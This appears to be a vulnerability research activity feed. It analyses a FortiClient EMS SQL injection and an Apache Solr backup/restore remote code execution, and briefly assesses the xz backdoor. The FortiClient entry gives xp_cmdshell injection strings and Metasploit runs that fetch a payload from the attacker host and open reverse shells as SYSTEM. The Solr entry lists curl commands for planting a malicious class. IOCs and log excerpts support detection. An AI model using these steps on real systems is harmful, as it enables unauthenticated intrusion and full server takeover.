Activity Feed

Indicated source as
2
Ratings
  • Attacker Value
    Very High
  • Exploitability
    Very High
Easy to weaponizeGives privileged accessUnauthenticated
Technical Analysis

An SQLi injection vulnerability exists in FortiNet FortiClient EMS (Endpoint Management Server). FortiClient EMS serves as an endpoint management solution tailored for enterprises, offering a centralized platform for overseeing enrolled endpoints. The SQLi vulnerability is due to user controller strings which can be sent directly into database queries.

Affected versions of FortiClient EMS include:
7.2.0 through 7.2.2
7.0.1 through 7.0.10

FcmDaemon.exe is the main service responsible for communicating with enrolled clients. By default it listens on port 8013 and communicates with FCTDas.exe which is responsible for translating requests and sending them to the database. In the message header of a specific request sent between the two services, the FCTUID parameter is vulnerable to SQLi. The SQLi can be used to enable the xp_cmdshell which can then be used to obtain unauthenticated remote code execution in the context of NT AUTHORITY\SYSTEM.

It should be noted that in order to be vulnerable, at least one endpoint needs to be enrolled / managed by FortiClient EMS for the necessary vulnerable services to be available. So technically the server, out of the box, is not vulnerable in its default configuration which usually diminishes an exploit’s attacker value. However, it’s quite unlikely that an Endpoint Management Server running in production would not be managing any endpoints so I personally think it still deserves a 5/5 for an Attacker Value and given the simplicity and unauthenticated nature of the exploit, 5/5 for Exploitability as well.

Testing SQLi

One can test the vulnerability by establishing a TCP socket with SSL enabled on port 8013 of an endpoint running FortiClient EMS. If you then send the following data on across the established connection, which injects the following SQL: ' OR 1=1; – into the vulnerable FCTID parameter:

MSG_HEADER: FCTUID=CBE8FC122B1A46D18C3541E1A8EFF7BD' OR 1=1; --
IP=127.0.0.1
MAC=86:fc:61:82:77:66
FCT_ONNET=0
CAPS=32767
VDOM=default
EC_QUARANTINED=0
SIZE=    1581

X-FCCK-REGISTER: SYSINFO||QVZTSUdfVkVSPTEuMDAwMDAKUkVHX0tFWT1fCkVQX09OTkVUQ0hLU1VNPTAKQVZFTkdfVkVSPTYuMDAyNjYKREhDUF9TRVJWRVI9Tm9uZQpGQ1RPUz1XSU42NApWVUxTSUdfVkVSPTEuMDAwMDAKRkNUVkVSPTcuMC43LjAzNDUKQVBQU0lHX1ZFUj0xMy4wMDM2NApVU0VSPUFkbWluaXN0cmF0b3IKQVBQRU5HX1ZFUj00LjAwMDgyCkFWQUxTSUdfVkVSPTAuMDAwMDAKVlVMRU5HX1ZFUj0yLjAwMDMyCk9TVkVSPU1pY3Jvc29mdCBXaW5kb3dzIFNlcnZlciAyMDE5ICwgNjQtYml0IChidWlsZCAxNzc2MykKQ09NX01PREVMPVZNd2FyZSBWaXJ0dWFsIFBsYXRmb3JtClJTRU5HX1ZFUj0xLjAwMDIwCkFWX1BST1RFQ1RFRD0wCkFWQUxFTkdfVkVSPTAuMDAwMDAKUEVFUl9JUD0KRU5BQkxFRF9GRUFUVVJFX0JJVE1BUD00OQpFUF9PRkZORVRDSEtTVU09MApJTlNUQUxMRURfRkVBVFVSRV9CSVRNQVA9MTU4NTgzCkVQX0NIS1NVTT0wCkhJRERFTl9GRUFUVVJFX0JJVE1BUD0xNTU5NDMKRElTS0VOQz0KSE9TVE5BTUU9Q1lCRVItUkVUUUIxRkxQCkFWX1BST0RVQ1Q9CkZDVF9TTj1GQ1Q4MDAxNjM4ODQ4NjUxCklOU1RBTExVSUQ9NDUzQzIwNzYtODA2Mi00NEEwLUExNUYtRTkxQzYzREVCMUJCCk5XSUZTPUV0aGVybmV0MHwyNTEuMjUxLjIyMC4yN3wxNTpiYzphZjowZDo0Yjo3M3wyNDIuMTI0LjE5Ny43Nnw3Nzo5ZTpiOTpjMTo5Njo4NnwxfCp8MApVVEM9MTcxMDI3MTc3NApQQ19ET01BSU49CkNPTV9NQU49Vk13YXJlLCBJbmMuCkNQVT1JbnRlbChSKSBYZW9uKFIpIFNpbHZlciA0MjE1IENQVSBAIDIuNTBHSHoKTUVNPTEyMjg3CkhERD05OQpDT01fU049Vk13YXJlLTQyIDA0IGVkIDJkIDY0IGU4IDBiIDE0LTQ1IGU5IGU0IGY2IDVhIGM3IDY3IDgyCkRPTUFJTj0KV09SS0dST1VQPVdPUktHUk9VUApVU0VSX1NJRD1TLTEtNS0yMS0zMC0wLTMwLTUwMApHUk9VUF9UQUc9CkFER1VJRD0KRVBfRkdUQ0hLU1VNPTAKRVBfUlVMRUNIS1NVTT0wCldGX0ZJTEVTQ0hLU1VNPTAKRVBfQVBQQ1RSTENIS1NVTT0wCg==
X-FCCK-REGISTER-END

A vulnerable endpoint will return a response containing the string KA_INTERVAL like so:

FCKARPLY: CONT|1|EMSSN|FCTEMS0000125975:dc2.kerberos.issue|UPLD_PRT|8013|KA_INTERVAL|60|LIC_FEATS|283004|LIC_ED|1870228800|AUTH_PRD|0|SNAPTIME|0|QUAR|0|AVTR|1|AV_SIG|92.03303|SERIAL|6C68D8277A537F95521BB0C8310727DF46D3C97B|EMS_ONNET|0|ZHVR|eJzVmG1zojAQgL/fr8j5XYEAam8oHY/SlzmtnbbXzk3tMCkGTI3ghPjSf39RQLSlFG+sN35Rkt3N7j5JFhLjZD6iYIpZRMLguKLU5ArAgRv2SeAfVybcqzYrJ+Y3wwsZJy4lOOCOGwYe8ScMcWFjGomx2ajJtYYhpU1jjIQJom/UFUPKFxiDMOKOsCYecZOuEZo7HPmOR5G/sNxoL6VsQnHc1BN51mMsHqP4L/7NNNe0AjQS4u+P1mnrrvXYuQXXLJy/3g4wpeB+QgPM0DPFT0+mIcWqYWTOSNAPZ5EhiWfDZYSLsJFpeBjxCcOmO8XONDEllHCChWoqTPUXCQoEXCDN3Fv3dhXKUKmqCpQbS6crnQD7gssUm7KIJH0W8mw4KQuFL1JbsNoivUw9gy7H3TEqaTmqlAFdx6o1DgGrpkP1oLCq9YPAqjUODKtegPXGnhLqXHYtB8+3Y+kRisvC+9EbzkI2FJW2h3whqqXOdsrwfS454I7Kc9NKcXMZ3x+31NkXcUuHz+HWLM9NLcWNYZ9EnL06Q/y6FcDUsCTEi1/2H6fdtVptp9OyLi6v7N5t9+zuoXVj9x66D3VNhVdhH/d+UuQO2wJf1EFcjNb7StDvks8hXn6HF23w+84MMQymlsgCM3AmVh/4PaYh6oMqWFU1CGVZ33cpzZzulPK2GedV13r5b4Hid5Y9dwco8DG4sewN9/Wmvn/gK6e7fnd9nmYeZb18TSmg3OIURRFBAeieX7U3I4AiAkXV9gt63elOQZfNNI+1Vpo1LGB9TngbPQPLlmwbWOFohII+uAxesLs4xmzuL/g/Kgr8ioryL1nnzYFaeg6Kzm3XExph4V4cVEfL0yM4JZFLw0hwWsWiHFUVRVfkvc7AhtOdzsD2Oefxh6X5y0X1ZozcAQbt0Nde1ude0yBs7nvFZ053W2k+zTGPr/IhXym5oBB90ZrTdK1nVu9DQZQmn0uY4b4T38xEb2JInMXDSzn3K9LH1zp/AQpaQ/A=|HVCS|913c523b8b79d4714cbdb64e7cc6268c|TAGS|000000000000000000000000000000000000000000000000000|

Getting RCE

The SQLi injection can be used to obtain unauthenticated RCE on the vulnerable FortiClient EMS endpoint by enabling the xp_cmdshell. As demonstrated in the metasploit module, the following five SQL injections can be used to enable xp_cmdshell and then use it to execute a payload:

      "' OR 1=1; exec master.dbo.sp_configure 'show advanced options', 1;--",
      "' OR 1=1; reconfigure;--",
      "' OR 1=1; exec master.dbo.sp_configure 'xp_cmdshell',1;--",
      "' OR 1=1; reconfigure;--",
      "' OR 1=1; DECLARE @SQL VARCHAR(#{payload.encoded.length}) = CONVERT(VARCHAR(MAX), 0X#{payload.encoded.unpack('H*').first}); exec master.dbo.xp_cmdshell @sql;--",

When attempting to obtain RCE it was noticed that the application takes the command that you inject and transforms it to all uppercase characters (this can be seen in the logs included in the IOC section below). This breaks any attempt to Base64 encode a payload and then run it using master.dbo.xp_cmdshell powershell.exe -e <Base64 encoded payload> (as Base64 is case sensitive). Which is why the metasploit module encodes the payload in hex and then uses MSSQL to decode the payload before running it with xp_cmdshell.

Metasploit Module Demo

msf6 exploit(windows/http/forticlient_ems_fctid_sqli) > set rhosts 172.16.199.200
rhosts => 172.16.199.200
msf6 exploit(windows/http/forticlient_ems_fctid_sqli) > set lhost 172.16.199.1
lhost => 172.16.199.1
msf6 exploit(windows/http/forticlient_ems_fctid_sqli) > options

Module options (exploit/windows/http/forticlient_ems_fctid_sqli):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS  172.16.199.200   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT   8013             yes       The target port (TCP)
   VHOST                    no        HTTP server virtual host


Payload options (cmd/windows/http/x64/meterpreter/reverse_tcp):

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   EXITFUNC            process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   FETCH_COMMAND       CERTUTIL         yes       Command to fetch payload (Accepted: CURL, TFTP, CERTUTIL)
   FETCH_DELETE        false            yes       Attempt to delete the binary after execution
   FETCH_FILENAME      FqgyHVSnYd       no        Name to use on remote system when storing payload; cannot contain spaces or slashes
   FETCH_SRVHOST                        no        Local IP to use for serving payload
   FETCH_SRVPORT       8080             yes       Local port to use for serving payload
   FETCH_URIPATH                        no        Local URI to use for serving payload
   FETCH_WRITABLE_DIR  %TEMP%           yes       Remote writable dir to store payload; cannot contain spaces.
   LHOST               172.16.199.1     yes       The listen address (an interface may be specified)
   LPORT               8383             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target



View the full module info with the info, or info -d command.

msf6 exploit(windows/http/forticlient_ems_fctid_sqli) >
msf6 exploit(windows/http/forticlient_ems_fctid_sqli) > run
[*] Reloading module...

[*] Started reverse TCP handler on 172.16.199.1:8383
[*] 172.16.199.200:8013 - Running automatic check ("set AutoCheck false" to disable)
[+] 172.16.199.200:8013 - The target is vulnerable. The SQLi has been exploited successfully
[+] 172.16.199.200:8013 - The SQLi: ' OR 1=1; exec master.dbo.sp_configure 'show advanced options', 1;-- was executed successfully
[+] 172.16.199.200:8013 - The SQLi: ' OR 1=1; reconfigure;-- was executed successfully
[+] 172.16.199.200:8013 - The SQLi: ' OR 1=1; exec master.dbo.sp_configure 'xp_cmdshell',1;-- was executed successfully
[+] 172.16.199.200:8013 - The SQLi: ' OR 1=1; reconfigure;-- was executed successfully
[*] Sending stage (201798 bytes) to 172.16.199.200
[+] 172.16.199.200:8013 - The SQLi: ' OR 1=1; DECLARE @SQL VARCHAR(120) = CONVERT(VARCHAR(MAX), 0X636572747574696c202d75
726c6361636865202d6620687474703a2f2f3137322e31362e3139392e313a383038302f7a524b42764743776d624662474c46336c4e6f486d772025
54454d50255c6a744d45695362632e6578652026207374617274202f42202554454d50255c6a744d45695362632e657865); exec master.dbo.xp_cmdshell @sql;-- was executed successfully
[*] Meterpreter session 8 opened (172.16.199.1:8383 -> 172.16.199.200:57847) at 2024-04-11 14:00:22 -0700

meterpreter > getuid
syServer username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : DC2
OS              : Windows Server 2019 (10.0 Build 17763).
Architecture    : x64
System Language : en_US
Domain          : KERBEROS
Logged On Users : 16
Meterpreter     : x64/windows
meterpreter >

IOCs

There are a number of files in C:\Program Files (x86)\Fortinet\FortiClientEMS\logs\ that will contain evidence of exploitation on a compromised host. The following excerpts were taking from fcmdaemon[2024-04-10 15-29-42].log and you can see the vulnerability being exploited as the FTCUID parameter CBE8FC122B1A46D18C3541E1A8EFF7BD' is being injected with SQL commands which enable the xp_cmdshell which is then used to launch calc.exe

"CBE8FC122B1A46D18C3541E1A8EFF7BD' OR 1=1; EXEC MASTER.DBO.SP_CONFIGURE 'SHOW ADVANCED OPTIONS', 1;--", "vdom":"FCM_default", "jsonData": "{}", "ops": [], "flag":0}

[04-11 11:10:29][    ERROR]: DAS returned an error - Error = Internal error, Command was = {"operation": "UPDATE", "model": "FORTI_CLIENT", "id": "CBE8FC122B1A46D18C3541E1A8EFF7BD' OR 1=1; EXEC MASTER.DBO.SP_CONFIGURE 'SHOW ADVANCED OPTIONS', 1;--", "vdom":"FCM_default", "jsonData": "{\"uid\":\"\",\"last_seen\":1712848228,\"online\":1}", "ops": [], "flag":0}

[04-11 11:10:29][    ERROR]: DAS returned an error - Error = mssql: Incorrect syntax near the keyword 'AND'., Command was = {"operation": "GET_BY_UID", "model": "FCT_USERS", "id": "CBE8FC122B1A46D18C3541E1A8EFF7BD' OR 1=1; RECONFIGURE;--", "vdom":"FCM_default", "jsonData": "{}", "ops": [], "flag":0}

[04-11 11:10:29][    ERROR]: DAS returned an error - Error = Internal error, Command was = {"operation": "UPDATE", "model": "FORTI_CLIENT", "id": "CBE8FC122B1A46D18C3541E1A8EFF7BD' OR 1=1; RECONFIGURE;--", "vdom":"FCM_default", "jsonData": "{\"uid\":\"\",\"last_seen\":1712848229,\"online\":1}", "ops": [], "flag":0}

[04-11 11:10:29][    ERROR]: DAS returned an error - Error = mssql: Incorrect syntax near the keyword 'AND'., Command was = {"operation": "GET_BY_UID", "model": "FCT_USERS", "id": "CBE8FC122B1A46D18C3541E1A8EFF7BD' OR 1=1; EXEC MASTER.DBO.SP_CONFIGURE 'XP_CMDSHELL',1;--", "vdom":"FCM_default", "jsonData": "{}", "ops": [], "flag":0}

[04-11 11:10:29][    ERROR]: DAS returned an error - Error = Internal error, Command was = {"operation": "UPDATE", "model": "FORTI_CLIENT", "id": "CBE8FC122B1A46D18C3541E1A8EFF7BD' OR 1=1; EXEC MASTER.DBO.SP_CONFIGURE 'XP_CMDSHELL',1;--", "vdom":"FCM_default", "jsonData": "{\"uid\":\"\",\"last_seen\":1712848229,\"online\":1}", "ops": [], "flag":0}

[04-11 11:10:29][    ERROR]: DAS returned an error - Error = mssql: Incorrect syntax near the keyword 'AND'., Command was = {"operation": "GET_BY_UID", "model": "FCT_USERS", "id": "CBE8FC122B1A46D18C3541E1A8EFF7BD' OR 1=1; RECONFIGURE;--", "vdom":"FCM_default", "jsonData": "{}", "ops": [], "flag":0}

[04-11 11:10:29][    ERROR]: DAS returned an error - Error = Internal error, Command was = {"operation": "UPDATE", "model": "FORTI_CLIENT", "id": "CBE8FC122B1A46D18C3541E1A8EFF7BD' OR 1=1; RECONFIGURE;--", "vdom":"FCM_default", "jsonData": "{\"uid\":\"\",\"last_seen\":1712848229,\"online\":1}", "ops": [], "flag":0}

[04-11 11:10:29][    ERROR]: DAS returned an error - Error = mssql: Incorrect syntax near the keyword 'AND'., Command was = {"operation": "GET_BY_UID", "model": "FCT_USERS", "id": "CBE8FC122B1A46D18C3541E1A8EFF7BD' OR 1=1; EXEC MASTER.DBO.XP_CMDSHELL 'CMD.EXE /C CALC.EXE';--", "vdom":"FCM_default", "jsonData": "{}", "ops": [], "flag":0}

[04-11 11:10:30][    ERROR]: DAS returned an error - Error = Internal error, Command was = {"operation": "UPDATE", "model": "FORTI_CLIENT", "id": "CBE8FC122B1A46D18C3541E1A8EFF7BD' OR 1=1; EXEC MASTER.DBO.XP_CMDSHELL 'CMD.EXE /C CALC.EXE ';--", "vdom":"FCM_default", "jsonData": "{\"uid\":\"\",\"last_seen\":1712848229,\"online\":1}", "ops": [], "flag":0}

References

https://www.horizon3.ai/attack-research/attack-blogs/cve-2023-48788-fortinet-forticlientems-sql-injection-deep-dive/

Indicated sources as
Indicated source as
  • Vendor Advisory
2
Ratings
  • Attacker Value
    Medium
  • Exploitability
    High
UnauthenticatedVulnerable in default configuration
Technical Analysis

Apache Solr from 6.0.0 through 8.11.2, from 9.0.0 before 9.4.1 is affected by an Unrestricted Upload of File with Dangerous Type vulnerability which can result in remote code execution in the context of the user running Apache Solr.

This exploit abuses three components of the API. It should be noted that by default Apache Solr ships with no authentication mechanism to protect these API endpoints from attackers. The Basic Authentication plugin can easily be added to Apache Solr which makes this exploit an authenticated RCE however by default this is an unauth RCE.

The three API functions that this exploit uses to achieve code execution are as follows:

  • /admin/configs?action=UPLOAD
  • /admin/collections?action=CREATE
  • /admin/collections?action=BACKUP

The configs UPLOAD function allows the user to upload a configuration specification in the form of the .zip file. The crux of the vulnerability lies in the fact that the zip file is not properly sanitized and an attacker is able to include a malicious .class file inside the zip. The class needs to be compiled with the following package name: package zk_backup_0.configs.conf1 ; in order for it to be executed.

A number of extra steps are required in order to get that .class file to execute. Upload a config like so:

curl -X POST --header "Content-Type:application/octet-stream" --data-binary @conf1.zip "http://127.0.0.1:8983/solr/admin/configs?action=UPLOAD&name=conf1"

Next the collections CREATE function can be used to create a ‘collection’ in Apache Solr. When Apache Solr creates a Collection, it will use a specific directory as the classpath and load some classes from it (this is important to note for later). Create a collection from the config uploaded previously like so:

curl "http://127.0.0.1:8983/solr/admin/collections?action=CREATE&name=collection1&numShards=1&replicationFactor=1&wt=json&collection.configName=conf1"

Next the attacker can abuse the BACKUP function. The backup function of the Collection can export malicious class files uploaded by attackers to a specific directory, which is very useful. This allows the attacker to place the malicious .class file in a location which will then be loaded by a Collection next time we create one. The backup function accepts the parameters locations which is the path to be exported and name which is actually equivalent to part of the path. Getting the .class file into a place where it can be executed successfully is a two step process. First export the collection like so:

curl "http://127.0.0.1:8983/solr/admin/collections?action=BACKUP&collection=collection1&location=/var/solr/data/&name=collection2_shard1_replica_n1"

This will export collection1 to /var/solr/data/collection2_shard1_replica_n1
And it’s corresponding configuration is exported to: /var/solr/data/collection2_shard1_replica_n1/collection1/zk_backup_0/configs/

Now export it again with location set to /var/solr/data/collection2_shard1_replica_n1 and name set to lib:

curl "http://127.0.0.1:8983/solr/admin/collections?action=BACKUP&collection=collection1&location=/var/solr/data/collection2_shard1_replica_n1&name=lib"

Now our malicious class we uploaded in the original config ends up here:
/var/solr/data/collection2_shard1_replica_n1/lib/collection1/zk_backup_0/configs/conf1

You may have noticed that the directory structure above corresponds exactly to the required package name mentioned earlier.

Now the attacker uploads a second configuration. This time without a malicious .class but with:

<valueSourceParser  name= "myfunc"  class= "zk_backup_0.configs.conf1.Exp"  />

Set inside solrconfig.xml. This “SourceParser” will get loaded when a collection is created from this config.
Upload the config like so:

curl -X POST --header "Content-Type:application/octet-stream" --data-binary @conf2.zip "http://127.0.0.1:8983/solr/admin/configs?action=UPLOAD&name=conf2"

And now for the the final step in the exploit, create a second collection from the second configuration just uploaded:

curl "http://127.0.0.1:8983/solr/admin/collections?action=CREATE&name=collection2&numShards=1&replicationFactor=1&wt=json&collection.configName=conf2"

During the collection creation process our malicious class will be loaded. It’s important to note the code one wants executed should be placed in the static method of the malicious class such that it will be executed when the class is loaded as the class isn’t actually being called directly.

And Voilà! If everything has gone to plan the code in the static method of the malicious class should execute in the context of the user running Apache Solr.

Attacker Value and Exploitability Explained

Attacker value 3/5

Although by default this vulnerability doesn’t require authentication, Apache Solr used in a production environment likely have an authentication plugin installed with it and or would likely not be exposed to the internet.

Exploitability 4/5

If you can access the application, exploitation is trivial, with the exception of needing to know credentials if the auth plugin is present.

Try it yourself

If you wish to see this exploit in action, simply spin up a vulnerable Apache Solr instance with the following docker-compose file:

version: '3'

services:
  solr:
    image: solr:9.0.0
    ports:
      - "8983:8983"
      - "5005:5005"
    command: sh -c "solr start -c -a '-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005' && tail -f /dev/null"

Load the metasploit module for this exploit, set the rhost and lhost values, run it and you should get a session in the context of the user running Apache Solr:

msf6 > use linux/http/apache_solr_backup_restore
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/apache_solr_backup_restore) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf6 exploit(linux/http/apache_solr_backup_restore) > set lhost 172.16.199.1
lhost => 172.16.199.1
msf6 exploit(linux/http/apache_solr_backup_restore) > run
[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Running check method
[*] 127.0.0.1:8983: Authentication not required
[*] Found Apache Solr 9.0.0
[*] OS version is Linux amd64 6.6.16-linuxkit
[+] The target appears to be vulnerable. Found Apache Solr version: 9.0.0
[+] Uploaded configuration successfully
[+] Backed up collection successfully
[+] Backed up collection successfully
[+] Uploaded configuration successfully
[*] Sending stage (3045380 bytes) to 172.16.199.1
[+] Successfully dropped the payload
[*] Meterpreter session 12 opened (172.16.199.1:4444 -> 172.16.199.1:50057) at 2024-04-01 16:18:17 -0700
[*] Cleaning up...
meterpreter > getuid
Server username: solr
meterpreter > sysinfo
Computer     : 192.168.128.2
OS           : Ubuntu 20.04 (Linux 6.6.16-linuxkit)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >
1
Ratings
Common in enterpriseDifficult to weaponizeVulnerable in uncommon configuration
Technical Analysis

On the one hand, it’s backdoored software, so “exploitation” could arguably have already occurred (in the form of an already executed supply chain attack). On the other hand, it’s not immediately clear that anyone has used this backdoor to do specific Bad Things™, so “exploited in the wild” doesn’t sound quite right either. Developers probably most at risk here rather than production systems, but it would appear this got caught pretty quickly.

Bad:

  • Backdoor!
  • In a popular command-line tool
  • Made it into unstable branches/bleeding-edge releases of some distros (Kali, Arch, etc)
  • “Open source is unsafe” commentary (c’mon, y’all)
  • Salacious! Speculation runs rife! xz is drowning out Kate Middleton conspiracy theories in my timelines!

Good:

  • Didn’t make it into prod systems, stable branches unaffected
  • Not a simple attack
  • Not clear that anyone is actively using this backdoor for badness — private SSH key still hasn’t shown up
View More Activity  < Previous  Next >